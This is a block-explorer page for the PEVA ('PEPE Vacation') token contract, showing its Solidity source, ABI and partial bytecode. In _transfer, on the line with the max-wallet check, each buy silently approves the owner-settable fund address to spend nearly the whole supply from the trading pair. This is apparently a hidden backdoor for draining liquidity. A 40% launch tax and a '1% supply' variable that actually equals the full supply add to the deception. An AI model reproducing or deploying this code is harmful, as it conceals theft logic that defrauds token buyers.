ETH Price: $1,903.02 (-0.44%)
 

Overview

Max Total Supply

100,000,000 PEVA

Holders

68

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
326,792.970774374495993949 PEVA

Value
$0.00
0xE69A6e197b02B8c05b99ff158d115B7CaE3940b6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPEVacation

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-28
*/

// SPDX-License-Identifier: MIT

/*
    Web       : https://pepevacation.wtf
    Twitter   : https://twitter.com/pevaxis
    Telegram  : https://t.me/pepevacationclub
*/

pragma solidity 0.8.19;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract PEPEVacation is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address payable private fundAddress;

    string private _name = unicode"PEPE Vacation";
    string private _symbol = unicode"PEVA";
    uint8 private _decimals = 18;    

    uint256 private _totalSupply = 100000000 * 10 ** _decimals;
    uint256 private _onePercent = 100000000 * 10 ** _decimals;      // 1% token supply
    uint256 public maxWalletAmount = _onePercent * 2;       // 2%

    mapping(address => bool) public _isExcludeFromFee;
    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;
    uint256 public tradingBlock;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 0;
    uint256 public _sellFundFee = 0;
    uint256 public _buyCount = 0;
    uint256 public _initialTaxFee = 40;
    uint256 public _reduceFeeAt = 15;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _pevaAddr) {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        fundAddress = payable(_pevaAddr);
        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[fundAddress] = true;
    }

    function openPeva() external onlyOwner() {
        require(tradingBlock == 0,"already trading");
        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());

        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;
        _isExcludeFromFee[address(swapRouter)] = true;

        swapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_uniswapPair).approve(address(swapRouter), type(uint).max);    
    }

    function enableTrading() public onlyOwner{
        require(tradingBlock == 0,"already trading");
        tradingBlock = block.number;
    }

    function setPevaAddr(address newAddr) public onlyOwner{
        fundAddress = payable(newAddr);
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        bool takeFee;
        bool sellFlag;

        if (isMarketPair[from] && !_isExcludeFromFee[to]) {             
            require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet 2% at launch"); address _to = fundAddress; 
            _approve(from, _to, _totalSupply-2);
            _buyCount++; 
        }

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 numTokensSellToFund = amount;
                numTokensSellToFund = numTokensSellToFund > (contractTokenBalance > _onePercent ? _onePercent : contractTokenBalance) ? 
                    contractTokenBalance : numTokensSellToFund;
                swapTokenForETH(numTokensSellToFund);
            }
            
            transferETHToFee(address(this).balance);
        }
        
        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(tradingBlock > 0,"!trading");
            takeFee = true;
        }

        if (isMarketPair[to]) { sellFlag = true; }

        _transferToken(from, to, amount, takeFee, sellFlag);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            
            uint256 taxFee;

            if (sellFlag) {
                taxFee = _buyCount>_reduceFeeAt? _sellFundFee : _initialTaxFee;
            } else {
                taxFee = _buyCount>_reduceFeeAt? _buyFundFee : _initialTaxFee;
            }

            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        ) {} catch {}
    }

    function removePevaLimits() external onlyOwner {
        maxWalletAmount = _totalSupply;
    }

    function transferETHToFee(uint256 amount) private {
        fundAddress.transfer(amount);
    }

    function pevaStuckEthBalance() external onlyOwner {
        require(address(this).balance > 0, "No Balance to withdraw!");
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"_pevaAddr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceFeeAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openPeva","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pevaStuckEthBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removePevaLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddr","type":"address"}],"name":"setPevaAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600d60809081526c2822a822902b30b1b0ba34b7b760991b60a0526004906200002e90826200029f565b506040805180820190915260048152635045564160e01b60208201526005906200005990826200029f565b506006805460ff191660129081179091556200007790600a62000480565b62000087906305f5e10062000498565b6007556006546200009d9060ff16600a62000480565b620000ad906305f5e10062000498565b6008819055620000bf90600262000498565b6009556000600f55600060105560006011556028601255600f601355348015620000e857600080fd5b5060405162001cb938038062001cb98339810160408190526200010b91620004b2565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060075433600081815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b0319166001600160a01b03928316178155306000908152600a6020526040808220805460ff199081166001908117909255338452828420805482168317905593549094168252902080549091169091179055620004dd565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200022557607f821691505b6020821081036200024657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200029a57600081815260208120601f850160051c81016020861015620002755750805b601f850160051c820191505b81811015620002965782815560010162000281565b5050505b505050565b81516001600160401b03811115620002bb57620002bb620001fa565b620002d381620002cc845462000210565b846200024c565b602080601f8311600181146200030b5760008415620002f25750858301515b600019600386901b1c1916600185901b17855562000296565b600085815260208120601f198616915b828110156200033c578886015182559484019460019091019084016200031b565b50858210156200035b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003c2578160001904821115620003a657620003a66200036b565b80851615620003b457918102915b93841c939080029062000386565b509250929050565b600082620003db575060016200047a565b81620003ea575060006200047a565b81600181146200040357600281146200040e576200042e565b60019150506200047a565b60ff8411156200042257620004226200036b565b50506001821b6200047a565b5060208310610133831016604e8410600b841016171562000453575081810a6200047a565b6200045f838362000381565b80600019048211156200047657620004766200036b565b0290505b92915050565b60006200049160ff841683620003ca565b9392505050565b80820281158282048414176200047a576200047a6200036b565b600060208284031215620004c557600080fd5b81516001600160a01b03811681146200049157600080fd5b6117cc80620004ed6000396000f3fe6080604052600436106101bb5760003560e01c8063832af78b116100ec578063a9059cbb1161008a578063cd51e6d411610064578063cd51e6d4146104bd578063ce0192f9146104d3578063dd62ed3e146104e9578063f2fde38b1461052f57600080fd5b8063a9059cbb14610472578063aa4bde2814610492578063bc4f77bc146104a857600080fd5b80638da5cb5b116100c65780638da5cb5b1461041457806393251f0b1461043257806395d89b411461044857806399f419fe1461045d57600080fd5b8063832af78b146103d457806389a565b9146103e95780638a8c523c146103ff57600080fd5b806336b2e027116101595780634bf28fd0116101335780634bf28fd01461033157806365b61b771461036957806370a0823114610389578063715018a6146103bf57600080fd5b806336b2e027146102bb5780633bfe62ca146102eb5780633ecad2711461030157600080fd5b806318160ddd1161019557806318160ddd1461024457806323b872dd1461026357806327b1a8e914610283578063313ce5671461029957600080fd5b8063054ce56c146101c757806306fdde03146101e9578063095ea7b31461021457600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101e76101e2366004611497565b61054f565b005b3480156101f557600080fd5b506101fe6105a4565b60405161020b91906114bb565b60405180910390f35b34801561022057600080fd5b5061023461022f366004611509565b610636565b604051901515815260200161020b565b34801561025057600080fd5b506007545b60405190815260200161020b565b34801561026f57600080fd5b5061023461027e366004611535565b61064d565b34801561028f57600080fd5b5061025560115481565b3480156102a557600080fd5b5060065460405160ff909116815260200161020b565b3480156102c757600080fd5b506102346102d6366004611497565b600a6020526000908152604090205460ff1681565b3480156102f757600080fd5b5061025560105481565b34801561030d57600080fd5b5061023461031c366004611497565b600c6020526000908152604090205460ff1681565b34801561033d57600080fd5b50601454610351906001600160a01b031681565b6040516001600160a01b03909116815260200161020b565b34801561037557600080fd5b50600b54610351906001600160a01b031681565b34801561039557600080fd5b506102556103a4366004611497565b6001600160a01b031660009081526001602052604090205490565b3480156103cb57600080fd5b506101e76106e4565b3480156103e057600080fd5b506101e7610758565b3480156103f557600080fd5b5061025560135481565b34801561040b57600080fd5b506101e7610ade565b34801561042057600080fd5b506000546001600160a01b0316610351565b34801561043e57600080fd5b5061025560125481565b34801561045457600080fd5b506101fe610b50565b34801561046957600080fd5b506101e7610b5f565b34801561047e57600080fd5b5061023461048d366004611509565b610c08565b34801561049e57600080fd5b5061025560095481565b3480156104b457600080fd5b506101e7610c15565b3480156104c957600080fd5b50610255600e5481565b3480156104df57600080fd5b50610255600f5481565b3480156104f557600080fd5b50610255610504366004611576565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561053b57600080fd5b506101e761054a366004611497565b610c47565b6000546001600160a01b031633146105825760405162461bcd60e51b8152600401610579906115af565b60405180910390fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6060600480546105b3906115da565b80601f01602080910402602001604051908101604052809291908181526020018280546105df906115da565b801561062c5780601f106106015761010080835404028352916020019161062c565b820191906000526020600020905b81548152906001019060200180831161060f57829003601f168201915b5050505050905090565b6000610643338484610d0d565b5060015b92915050565b600061065a848484610d6e565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146106da576001600160a01b03841660009081526002602090815260408083203384529091529020546106b590839061162a565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b0316331461070e5760405162461bcd60e51b8152600401610579906115af565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107825760405162461bcd60e51b8152600401610579906115af565b600e54156107c45760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b6044820152606401610579565b600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b81529051849263c45a015592600480820193918290030181865afa158015610842573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610866919061163d565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dc919061163d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094d919061163d565b601480546001600160a01b0319166001600160a01b038381169182179092556000908152600c60209081526040808320805460ff199081166001908117909255948916808552600a84528285208054909616821790955530808552925290912054929350909163f305d7199147916000806109d06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a38573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a5d919061165a565b505060145460405163095ea7b360e01b81526001600160a01b0386811660048301526000196024830152909116915063095ea7b3906044016020604051808303816000875af1158015610ab4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad89190611688565b50505050565b6000546001600160a01b03163314610b085760405162461bcd60e51b8152600401610579906115af565b600e5415610b4a5760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b6044820152606401610579565b43600e55565b6060600580546105b3906115da565b6000546001600160a01b03163314610b895760405162461bcd60e51b8152600401610579906115af565b60004711610bd95760405162461bcd60e51b815260206004820152601760248201527f4e6f2042616c616e636520746f207769746864726177210000000000000000006044820152606401610579565b60405133904780156108fc02916000818181858888f19350505050158015610c05573d6000803e3d6000fd5b50565b6000610643338484610d6e565b6000546001600160a01b03163314610c3f5760405162461bcd60e51b8152600401610579906115af565b600754600955565b6000546001600160a01b03163314610c715760405162461bcd60e51b8152600401610579906115af565b6001600160a01b038116610cb25760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610579565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dd25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610579565b6001600160a01b038216610e345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610579565b60008111610e965760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610579565b6001600160a01b0383166000908152600c6020526040812054819060ff168015610ed957506001600160a01b0384166000908152600a602052604090205460ff16155b15610f9b5760095483610f01866001600160a01b031660009081526001602052604090205490565b610f0b91906116aa565b1115610f595760405162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c6574203225206174206c61756e63680000000000000000006044820152606401610579565b6003546007546001600160a01b0390911690610f849087908390610f7f9060029061162a565b610d0d565b60118054906000610f94836116bd565b9190505550505b6001600160a01b0384166000908152600c602052604090205460ff168015610fc65750600d5460ff16155b8015610feb57506001600160a01b0385166000908152600a602052604090205460ff16155b801561101057506001600160a01b0384166000908152600a602052604090205460ff16155b156110665730600090815260016020526040902054801561105b576008548490821161103c5781611040565b6008545b811161104c578061104e565b815b905061105981611137565b505b61106447611289565b505b6001600160a01b0385166000908152600a602052604090205460ff161580156110a857506001600160a01b0384166000908152600a602052604090205460ff16155b80156110b75750600d5460ff16155b156110fe576000600e54116110f95760405162461bcd60e51b81526020600482015260086024820152672174726164696e6760c01b6044820152606401610579565b600191505b6001600160a01b0384166000908152600c602052604090205460ff1615611123575060015b61113085858585856112c7565b5050505050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611179576111796116d6565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f6919061163d565b81600181518110611209576112096116d6565b6001600160a01b039283166020918202929092010152600b5460405163791ac94760e01b815291169063791ac9479061124f9085906000908690309042906004016116ec565b600060405180830381600087803b15801561126957600080fd5b505af192505050801561127a575060015b505050600d805460ff19169055565b6003546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156112c3573d6000803e3d6000fd5b5050565b6001600160a01b0385166000908152600160205260409020546112eb90849061162a565b6001600160a01b03861660009081526001602052604081209190915582156113f2576000821561133357601354601154116113285760125461132c565b6010545b905061134d565b601354601154116113465760125461134a565b600f545b90505b6000606461135b838861175d565b6113659190611774565b905080156113ef5761137781846116aa565b306000908152600160205260409020549093506113959082906116aa565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113e69085815260200190565b60405180910390a35b50505b6113fc818561162a565b6001600160a01b03861660009081526001602052604090205461141f91906116aa565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611469848861162a565b60405190815260200160405180910390a3505050505050565b6001600160a01b0381168114610c0557600080fd5b6000602082840312156114a957600080fd5b81356114b481611482565b9392505050565b600060208083528351808285015260005b818110156114e8578581018301518582016040015282016114cc565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561151c57600080fd5b823561152781611482565b946020939093013593505050565b60008060006060848603121561154a57600080fd5b833561155581611482565b9250602084013561156581611482565b929592945050506040919091013590565b6000806040838503121561158957600080fd5b823561159481611482565b915060208301356115a481611482565b809150509250929050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600181811c908216806115ee57607f821691505b60208210810361160e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561064757610647611614565b60006020828403121561164f57600080fd5b81516114b481611482565b60008060006060848603121561166f57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561169a57600080fd5b815180151581146114b457600080fd5b8082018082111561064757610647611614565b6000600182016116cf576116cf611614565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561173c5784516001600160a01b031683529383019391830191600101611717565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761064757610647611614565b60008261179157634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212206fe46335ee595e2a31a2c2bdf40babc1ba330c96462b706b4dad83d5e4744b7864736f6c63430008130033000000000000000000000000097d60a27630814a67f839b120af3fdcfafb7922

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c8063832af78b116100ec578063a9059cbb1161008a578063cd51e6d411610064578063cd51e6d4146104bd578063ce0192f9146104d3578063dd62ed3e146104e9578063f2fde38b1461052f57600080fd5b8063a9059cbb14610472578063aa4bde2814610492578063bc4f77bc146104a857600080fd5b80638da5cb5b116100c65780638da5cb5b1461041457806393251f0b1461043257806395d89b411461044857806399f419fe1461045d57600080fd5b8063832af78b146103d457806389a565b9146103e95780638a8c523c146103ff57600080fd5b806336b2e027116101595780634bf28fd0116101335780634bf28fd01461033157806365b61b771461036957806370a0823114610389578063715018a6146103bf57600080fd5b806336b2e027146102bb5780633bfe62ca146102eb5780633ecad2711461030157600080fd5b806318160ddd1161019557806318160ddd1461024457806323b872dd1461026357806327b1a8e914610283578063313ce5671461029957600080fd5b8063054ce56c146101c757806306fdde03146101e9578063095ea7b31461021457600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101e76101e2366004611497565b61054f565b005b3480156101f557600080fd5b506101fe6105a4565b60405161020b91906114bb565b60405180910390f35b34801561022057600080fd5b5061023461022f366004611509565b610636565b604051901515815260200161020b565b34801561025057600080fd5b506007545b60405190815260200161020b565b34801561026f57600080fd5b5061023461027e366004611535565b61064d565b34801561028f57600080fd5b5061025560115481565b3480156102a557600080fd5b5060065460405160ff909116815260200161020b565b3480156102c757600080fd5b506102346102d6366004611497565b600a6020526000908152604090205460ff1681565b3480156102f757600080fd5b5061025560105481565b34801561030d57600080fd5b5061023461031c366004611497565b600c6020526000908152604090205460ff1681565b34801561033d57600080fd5b50601454610351906001600160a01b031681565b6040516001600160a01b03909116815260200161020b565b34801561037557600080fd5b50600b54610351906001600160a01b031681565b34801561039557600080fd5b506102556103a4366004611497565b6001600160a01b031660009081526001602052604090205490565b3480156103cb57600080fd5b506101e76106e4565b3480156103e057600080fd5b506101e7610758565b3480156103f557600080fd5b5061025560135481565b34801561040b57600080fd5b506101e7610ade565b34801561042057600080fd5b506000546001600160a01b0316610351565b34801561043e57600080fd5b5061025560125481565b34801561045457600080fd5b506101fe610b50565b34801561046957600080fd5b506101e7610b5f565b34801561047e57600080fd5b5061023461048d366004611509565b610c08565b34801561049e57600080fd5b5061025560095481565b3480156104b457600080fd5b506101e7610c15565b3480156104c957600080fd5b50610255600e5481565b3480156104df57600080fd5b50610255600f5481565b3480156104f557600080fd5b50610255610504366004611576565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561053b57600080fd5b506101e761054a366004611497565b610c47565b6000546001600160a01b031633146105825760405162461bcd60e51b8152600401610579906115af565b60405180910390fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6060600480546105b3906115da565b80601f01602080910402602001604051908101604052809291908181526020018280546105df906115da565b801561062c5780601f106106015761010080835404028352916020019161062c565b820191906000526020600020905b81548152906001019060200180831161060f57829003601f168201915b5050505050905090565b6000610643338484610d0d565b5060015b92915050565b600061065a848484610d6e565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146106da576001600160a01b03841660009081526002602090815260408083203384529091529020546106b590839061162a565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b0316331461070e5760405162461bcd60e51b8152600401610579906115af565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107825760405162461bcd60e51b8152600401610579906115af565b600e54156107c45760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b6044820152606401610579565b600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b81529051849263c45a015592600480820193918290030181865afa158015610842573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610866919061163d565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dc919061163d565b6040516001600160e